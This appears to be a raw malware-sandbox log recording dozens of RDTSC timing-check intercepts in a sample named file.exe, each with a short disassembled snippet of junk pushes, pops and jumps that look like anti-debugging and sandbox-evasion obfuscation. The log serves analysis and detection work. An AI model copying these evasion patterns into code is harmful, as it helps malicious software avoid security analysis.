Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E1C30 second address: 3E1C34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E1D6C second address: 3E1D95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 jmp 00007F06147E6002h 0x0000000b jmp 00007F06147E6000h 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E1D95 second address: 3E1D9C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E2071 second address: 3E2075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E21C8 second address: 3E21CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E0ED3 second address: 3E0ED7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E0ED7 second address: 3E0F25 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F061450AC38h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pushad 0x0000000d jc 00007F061450AC2Ch 0x00000013 jns 00007F061450AC26h 0x00000019 jmp 00007F061450AC2Eh 0x0000001e push eax 0x0000001f push edx 0x00000020 jns 00007F061450AC26h 0x00000026 jmp 00007F061450AC2Ch 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E4390 second address: 3E43AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jl 00007F06147E6014h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F06147E5FFAh 0x00000012 ja 00007F06147E5FF6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E43AD second address: 3E43B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36469B second address: 3646A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007F06147E5FF6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E8E1F second address: 3E8E54 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F061450AC34h 0x00000008 jns 00007F061450AC26h 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F061450AC33h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E8E54 second address: 3E8E61 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F06147E5FF8h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A8425 second address: 3A8452 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F061450AC34h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F061450AC2Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A8583 second address: 3A8587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A8587 second address: 3A859E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A86C9 second address: 3A86CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A86CD second address: 3A86F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b jc 00007F061450AC34h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A86F0 second address: 3A86F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A8E90 second address: 3A8EC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov dword ptr [esp], eax 0x00000009 mov ch, bh 0x0000000b push 0000001Eh 0x0000000d mov edi, dword ptr [ebp+122D36ECh] 0x00000013 nop 0x00000014 jmp 00007F061450AC32h 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d jmp 00007F061450AC2Ch 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A8901 second address: 3A8905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A8905 second address: 3A8909 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 357233 second address: 357242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F06147E5FF6h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E7F69 second address: 3E7F77 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F061450AC26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E7F77 second address: 3E7F93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F06147E6008h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E7F93 second address: 3E7F9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E7F9D second address: 3E7FBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F06147E5FFBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F06147E5FFAh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E7FBC second address: 3E7FC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EBAAC second address: 3EBAB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F06147E5FF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EBAB6 second address: 3EBACF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F061450AC2Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EE65A second address: 3EE65E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EE65E second address: 3EE679 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC35h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EE679 second address: 3EE6A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6002h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a js 00007F06147E5FFCh 0x00000010 jo 00007F06147E5FF6h 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EE6A0 second address: 3EE6A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EE6A4 second address: 3EE6A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EE6A8 second address: 3EE6B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F061450AC26h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35DC55 second address: 35DC76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F06147E5FF6h 0x0000000d jmp 00007F06147E6004h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F2C4E second address: 3F2C5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F2C5F second address: 3F2C68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F2C68 second address: 3F2C6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F2C6E second address: 3F2C74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F2C74 second address: 3F2C78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F2C78 second address: 3F2C7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F2DCD second address: 3F2DF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F061450AC39h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F30E3 second address: 3F30E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F30E7 second address: 3F3124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F061450AC3Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F061450AC36h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F3124 second address: 3F3128 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F82C6 second address: 3F82E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F061450AC38h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F8425 second address: 3F8446 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007F06147E6006h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F8446 second address: 3F8453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F061450AC2Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A8D20 second address: 3A8D24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FD6CB second address: 3FD6D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FD6D0 second address: 3FD6E0 instructions: 0x00000000 rdtsc 0x00000002 je 00007F06147E6002h 0x00000008 jp 00007F06147E5FF6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FD6E0 second address: 3FD6E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FCE06 second address: 3FCE0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FD0DE second address: 3FD0E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40365F second address: 403663 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 403663 second address: 403683 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F061450AC32h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnl 00007F061450AC2Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 403683 second address: 403694 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007F06147E5FF6h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 403694 second address: 4036B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC34h 0x00000007 js 00007F061450AC26h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4036B2 second address: 4036C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F06147E5FFCh 0x00000009 ja 00007F06147E5FF6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 403998 second address: 40399E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40399E second address: 4039A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40425B second address: 404264 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 404264 second address: 404275 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F06147E5FF6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 404A75 second address: 404A8B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F061450AC2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F061450AC26h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 404FC1 second address: 404FC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 404FC7 second address: 404FE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jmp 00007F061450AC2Bh 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F061450AC2Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40E8DF second address: 40E8EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnc 00007F06147E5FF6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40ED05 second address: 40ED3F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F061450AC3Dh 0x00000008 jmp 00007F061450AC37h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push ebx 0x00000011 jne 00007F061450AC26h 0x00000017 jmp 00007F061450AC2Ch 0x0000001c pop ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40ED3F second address: 40ED4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F06147E5FFBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40ED4E second address: 40ED52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40F050 second address: 40F05A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40F1D0 second address: 40F1D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40F1D6 second address: 40F1DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40F1DF second address: 40F1E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40F1E5 second address: 40F1E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40F1E9 second address: 40F211 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F061450AC36h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F061450AC2Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40F211 second address: 40F215 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 417AAE second address: 417AC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F061450AC37h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 415DCD second address: 415DF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F06147E5FFAh 0x00000009 popad 0x0000000a pushad 0x0000000b jnc 00007F06147E5FF6h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 jmp 00007F06147E5FFEh 0x00000018 popad 0x00000019 push ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 415DF7 second address: 415E33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F061450AC26h 0x0000000a pop ecx 0x0000000b jmp 00007F061450AC37h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 pop edi 0x00000019 jmp 00007F061450AC31h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 415E33 second address: 415E38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 415E38 second address: 415E3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 416486 second address: 41648A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41648A second address: 4164A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC38h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41686B second address: 41687E instructions: 0x00000000 rdtsc 0x00000002 jg 00007F06147E5FFAh 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 416B40 second address: 416B49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 416B49 second address: 416B4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 416B4F second address: 416B71 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F061450AC26h 0x00000008 jmp 00007F061450AC38h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 416B71 second address: 416B9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6007h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e jmp 00007F06147E5FFEh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42F0C9 second address: 42F110 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC2Dh 0x00000007 jmp 00007F061450AC33h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007F061450AC2Fh 0x00000014 jmp 00007F061450AC31h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42F246 second address: 42F24A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42F24A second address: 42F26C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F061450AC26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F061450AC38h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 430BC7 second address: 430BCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 430BCD second address: 430BD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 434609 second address: 43460D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4341EB second address: 4341EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 447313 second address: 447319 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 447319 second address: 44732D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F061450AC30h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44732D second address: 447347 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F06147E6002h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 447347 second address: 447364 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC31h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
